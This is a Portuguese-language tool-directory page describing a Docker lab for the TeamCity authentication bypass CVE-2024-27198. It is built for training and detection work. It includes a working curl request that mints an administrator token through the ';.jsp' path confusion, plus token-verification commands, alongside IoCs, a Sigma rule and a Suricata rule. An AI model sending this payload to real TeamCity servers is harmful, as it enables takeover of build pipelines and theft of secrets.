Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
Ferramentas/GitHubGitHub/ne0zer01/cve-2024-27198_lab
Autenticação e AutorizaçãoAnálise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoInteligência de AmeaçasDetecção de IntrusãoAprendizado e EducaçãoResposta a IncidentesAnálise de LogsLabs e Prática
há 3 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar
GitHub
ne0zer01/cve-2024-27198_lab

CVE-2024-27198_LAB

Laboratória baseado em Docker para bypass de autenticação do TeamCity (CVE-2024-27198). Inclui reprodução de exploit, caça a IoCs com regras Sigma/Suricata e exercícios de detecção para equipe azul em treinamento de segurança.

Ver Repositório

Laboratório CVE-2024-27198

Descrição

TeamCity fornece uma página exclusiva para administradores de gerenciamento de tokens que não é protegida por autenticação. Isso permite que um usuário não autenticado gere um token de acesso para o usuário administrador se conseguir encontrar um ID de um usuário existente.


Detalhes do CVE

  • CVE ID: CVE-2024-27198
  • CWE: CWE-288
  • CNA: JetBrains s.r.o.
  • Pontuação Base: 9.8 CRITICAL
  • Vetor:
    • CVSS:3.1
    • AV:N Network
    • AC:L Low
    • PR:N None
    • UI:N None
    • S:U Unchanged
    • C:H High
    • I:H High
    • A:H High

Inteligência de Ameaças e OSINT

Impacto no Mundo Real e Exploração

  • Catálogo CISA KEV: Adicionado em 7 de março de 2024, confirmando exploração ativa na natureza.
  • Atores de Ameaças: Explorado por múltiplos grupos de ransomware e APTs, notavelmente o grupo de ransomware BianLian e a variante de ransomware Jasmin. Os atacantes usaram essa bypass para criar contas de administrador falsas, implantar plugins maliciosos e executar código arbitrário (RCE) para se mover lateralmente dentro das redes das vítimas.
  • Perfil do Alvo: Pipelines CI/CD são alvos de alto valor (Ataques à Cadeia de Suprimentos). Comprometer o TeamCity permite que atacantes injetem código malicioso em builds de software, roubem código-fonte e extraiam segredos de implantação (chaves AWS, certificados).

Por que este CVE é Crítico

A vulnerabilidade reside no mecanismo de roteamento da API REST. Ao acrescentar caracteres específicos (como ?jsp=/app/rest/...;.jsp) a um endpoint não autenticado, os atacantes podem enganar o servidor web do TeamCity para rotear a requisição a um endpoint autenticado enquanto contornam os filtros de segurança. Isso não requer conhecimento ou acesso prévio, tornando-o um CVSS puro de 9.8.


Passos para reproduzir

Iniciar os contêineres

root@kitploit:~
cd CVE-2024-27198
root@kitploit:~
docker compose -f docker-compose.yml up -d

Acesse a instância vulnerável do TeamCity em http://localhost:8111. Acesse a instância corrigida do TeamCity em http://localhost:8112.


Portal de Login

Username:

root@kitploit:~
admin

Password:

root@kitploit:~
admin

Testar a vulnerabilidade

Requisição GET para um recurso sem autenticação:

root@kitploit:~
curl -i http://localhost:8111/app/rest/users
root@kitploit:~
curl -i http://localhost:8112/app/rest/users

Ambos devem retornar um erro com código de status 401.


Gerar um token para o usuário administrador

root@kitploit:~
curl -X POST -H "Content-Type: application/json" \
  "http://localhost:8111/hax?jsp=/app/rest/users/id:1/tokens/REDTEAM;.jsp" \
  -d '{"name":"REDTEAM"}'

Isso deve retornar um token como este (O token é diferente a cada vez):

root@kitploit:~
eyJ0eXAiOiAiVENWMiJ9.T1AzMHJjY3piNC1QWDlFenpnLXdCUkRuSF84.ZmJlODg3ZDQtNjFmYy00ZGQxLTk2MDAtYmJlYjViZjE4NGFi
root@kitploit:~
curl -X POST -H "Content-Type: application/json" \
  "http://localhost:8112/hax?jsp=/app/rest/users/id:1/tokens/REDTEAM;.jsp" \
  -d '{"name":"REDTEAM"}'

Isso deve retornar um erro com código de status 401 porque a instância corrigida não possui a vulnerabilidade.


Verificar token

root@kitploit:~
curl -i -H "Authorization: Bearer <TOKEN>" \
  http://localhost:8111/app/rest/users

Deve retornar a lista de usuários.


Excluir o token

  1. Vá para http://localhost:8111 com a conta de administrador.
  2. Clique no ícone de perfil no canto superior direito.
  3. Vá para Perfil -> Tokens de Acesso.
  4. Você verá o token "REDTEAM".
  5. Simplesmente clique em Excluir ao lado do token.

Equipe Azul: Caçando IoCs em Logs (O Fator Furtivo)

Durante a demonstração no laboratório, você pode mostrar uma descoberta massiva da Equipe Azul: por padrão, esta vulnerabilidade é incrivelmente furtiva!

  1. Os logs de acesso do Tomcat estão desabilitados por padrão na imagem Docker do TeamCity, portanto as requisições HTTP com ;.jsp não são registradas.
  2. O log de auditoria do TeamCity não registra a criação de tokens via API REST.

Então como detectamos? Quando o atacante limpa seus rastros! Quando o atacante exclui seu token malicioso para se esconder, o TeamCity registra isso.

Encontre o atacante cobrindo seus rastros nos logs de auditoria:

root@kitploit:~
docker exec teamcity-vulnerable grep "delete_token" /opt/teamcity/logs/teamcity-activities.log

(Você verá uma entrada de log indicando que o token "REDTEAM" foi excluído).


Parar os contêineres

root@kitploit:~
docker compose -f docker-compose.yml down

Mitigação e Detecção

Análise Técnica (CWE-288)

Esta vulnerabilidade é uma instância de CWE-288: Bypass de Autenticação Usando um Caminho ou Canal Alternativo. A falha decorre de um problema de confusão de caminho entre o servidor web Tomcat e o roteador de aplicação do TeamCity. Ao acrescentar ;.jsp e passar o endpoint da API REST alvo no parâmetro jsp=, o filtro de segurança inicial interpreta a requisição como uma requisição não autenticada a um arquivo .jsp público (o que é permitido). No entanto, o roteador interno remove o ;.jsp e encaminha a requisição para o endpoint restrito /app/rest/ sem aplicar o filtro de autenticação.

Caso de Uso Legítimo (Por que ; é permitido?): O Tomcat usa o caractere ponto e vírgula (;) para Parâmetros Matrix. Historicamente, esse mecanismo é usado para passar parâmetros diretamente no caminho, como acrescentar JSESSIONID para manter o estado da sessão do usuário quando os cookies estão desabilitados. Esse comportamento normal e legítimo do servidor web, combinado com a validação inadequada pelo roteador de aplicação do TeamCity, é o que cria a vulnerabilidade.

Indicadores de Comprometimento (IoCs)

Para detectar um comprometimento em andamento ou passado, as Equipes Azuis devem procurar por:

  1. Logs Web: Requisições HTTP direcionadas a endpoints /app/rest/ mas contendo a string anômala ;.jsp na URI.
  2. Logs de Auditoria (teamcity-server.log): Geração inexplicada de tokens de acesso ou criação de novas contas administrativas.
  3. Nível de Sistema: Instalação de plugins não reconhecidos ou suspeitos (frequentemente usados por atacantes para escalar privilégios e alcançar Execução Remota de Código).

Detecção de Log (Regra Sigma)

Como o exploit inicial é furtivo por padrão, as Equipes Azuis devem confiar na detecção das ações pós-exploração do atacante, como cobrir seus rastros. Aqui está uma regra Sigma para seu SIEM detectar exclusões suspeitas de tokens:

root@kitploit:~
title: JetBrains TeamCity Suspicious Token Deletion (Post-Exploit CVE-2024-27198)
id: 9a2b53f6-1234-4567-890a-abcdef123456
status: experimental
description: Detects an attacker covering their tracks after exploiting CVE-2024-27198 by deleting their rogue token.
author: Purple Team
date: 2026-05-18
logsource:
    category: application
    product: teamcity
detection:
    selection:
        message|contains: 'delete_token_for_user'
    condition: selection
level: medium

Demonstração ao Vivo do SIEM (Equipe Azul)

Para provar que esta detecção funciona, execute o script siem_simulator.py.

  1. Abra um segundo terminal junto com seu terminal de exploit.
  2. Certifique-se de que o contêiner vulnerável está em execução (docker compose up -d).
  3. Execute o simulador:
root@kitploit:~
python3 siem_simulator.py
  1. No primeiro terminal, execute o exploit, verifique o token e então exclua o token através da interface web.
  2. Observe o segundo terminal acender com um alerta crítico vermelho mostrando a regra Sigma pegando o atacante cobrindo seus rastros!

Remediação

  • Patch Oficial: Atualize o TeamCity para a versão 2023.11.4 ou superior, que sanitiza adequadamente e impõe a correspondência de rotas no backend.
  • Solução Alternativa: Se a aplicação do patch for impossível, a JetBrains lançou um plugin de patch de segurança que pode ser instalado em instâncias vulneráveis.

Detecção de Rede (Regra Suricata / Snort)

Para detectar esta tentativa de exploração na rede, um SOC pode implementar a seguinte regra de IDS, que procura pelo padrão anômalo ;.jsp combinado com caminhos de API REST:

root@kitploit:~
alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"EXPLOIT JetBrains TeamCity Auth Bypass Attempt (CVE-2024-27198)"; flow:established,to_server; content:"GET"; http_method; content:"?jsp=/app/rest/"; http_uri; content:";.jsp"; http_uri; classtype:attempted-admin; sid:1000001; rev:1;)

Testar a versão corrigida (Demonstração em Laboratório)

Para provar que a mitigação funciona, você pode lançar o mesmo payload de exploit contra o contêiner TeamCity corrigido rodando na porta 8112:

root@kitploit:~
curl -i -X POST -H "Content-Type: application/json" \
  "http://localhost:8112/hax?jsp=/app/rest/users/id:1/tokens/REDTEAM;.jsp" \
  -d '{"name":"REDTEAM"}'

Como o patch impõe rigorosamente a correspondência de rotas e sanitiza adequadamente os parâmetros matrix, a bypass falhará. Você deve ver uma resposta 401 Unauthorized ou 404 Not Found em vez de um token gerado.


Links

  • CVE-2024-27198
Baixar ferramenta